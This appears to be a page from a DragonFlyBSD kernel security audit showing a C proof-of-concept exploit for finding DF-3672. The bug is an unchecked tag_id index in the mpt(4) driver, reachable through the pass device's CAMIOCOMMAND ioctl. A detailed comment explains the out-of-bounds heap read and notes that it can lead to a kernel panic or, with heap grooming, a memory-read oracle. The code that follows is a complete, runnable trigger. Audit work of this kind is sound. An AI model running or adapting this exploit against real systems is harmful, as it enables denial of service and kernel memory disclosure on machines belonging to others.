โฌข DragonFlyBSD Kernel Audit
DF-3672 / mpt_tag_oob.c
โ† back to finding โ†“ download raw
/* DF-3672 โ€” mpt(4) MPT_TAG_2_REQ OOB via user-controlled CTIO tag_id
 *
 * PoC (source-verified; runtime-gated on LSI Fusion-MPT FC hardware).
 *
 * mpt_target_start_io() resolves the backing target request with
 *
 *     request_t *cmd_req = MPT_TAG_2_REQ(mpt, csio->tag_id);   // mpt_cam.c:4355
 *
 * In production kernels (no INVARIANTS) the macro is
 *
 *     #define MPT_TAG_2_REQ(mpt, tag)  mpt->tgt_cmd_ptrs[tag >> 18]  // mpt.h:360
 *
 * โ€” NO bounds check. The bounds check exists only under #ifdef INVARIANTS
 * (mpt.h:951-963, mpt_tag_2_req(): KASSERT(rtg < mpt->tgt_cmds_allocated)).
 *
 * tag_id (ccb_scsiio.tag_id, u_int32_t) is fully user-controlled in the
 * XPT_CONT_TARGET_IO CCB, which any process with an open /dev/passN node on
 * the mpt bus may submit via CAMIOCOMMAND (pass does not filter func codes
 * other than XPT_FC_XPT_ONLY โ€” scsi_pass.c:473-478 โ€” and xpt_merge_ccb()
 * copies the whole user payload, cam_xpt.c:3888-3900).
 *
 * tag_id >> 18 ranges over [0, 16383]; tgt_cmd_ptrs[] has only
 * tgt_cmds_allocated (<= min(MPT_MAX_REQUESTS/2 = 256, MaxPostedCmdBuffers))
 * entries (mpt_cam.c:4251-4256).  => heap OOB read of up to ~129 KB past a
 * <=2 KB allocation; the fetched garbage is then dereferenced as request_t*
 * (MPT_TGT_STATE -> req->req_vbuf, tgt->state) => wild kernel read, panic;
 * with heap grooming, a controlled-pointer read oracle into dmesg via
 * mpt_tgt_dump_req_state().
 *
 * Run as: ./mpt_tag_oob <pass-device-on-mpt-target-mode-bus>
 * Preconditions: LSI FC adapter in target role, target mode enabled
 * (XPT_EN_LUN) so tgt_cmd_ptrs[] is populated, and one ATIO exchange queued.
 */
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

#ifndef CAMIOCOMMAND
#define CAMIOCOMMAND	_IOWR(CAM_VERSION, 2, union ccb)
#endif

int
main(int argc, char **argv)
{
	union ccb ccb;
	int fd;

	if (argc != 2)
		errx(1, "usage: %s /dev/passN", argv[0]);

	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open %s", argv[0]);

	/*
	 * XPT_CONT_TARGET_IO = 0x33 | XPT_FC_QUEUED | XPT_FC_USER_CCB
	 * (cam_ccb.h) โ€” NOT XPT_FC_XPT_ONLY, so pass(4) forwards it.
	 */
	memset(&ccb, 0, sizeof(ccb));
	ccb.ccb_h.func_code = XPT_CONT_TARGET_IO;
	ccb.ccb_h.flags = CAM_DIR_IN;
	ccb.ccb_h.timeout = 5000;

	/*
	 * tag_id is copied verbatim into the kernel CCB payload.  The kernel
	 * computes  tgt_cmd_ptrs[tag_id >> 18].  With tgt_cmds_allocated <= 256,
	 * any tag_id >= (256 << 18) = 0x4000000 is out of bounds; 0xFFFC0000
	 * gives index 1023 โ€” ~6 KB past a 256-entry (2 KB) allocation, into
	 * whatever follows in the heap.
	 */
	ccb.csio.tag_id = 0xFFFC0000;

	if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0)
		err(1, "CAMIOCOMMAND");

	printf("ccb status 0x%x โ€” if you got here the kernel survived "
	    "(tag lookup missed the groomed slot)\n", ccb.ccb_h.status);
	return (0);
}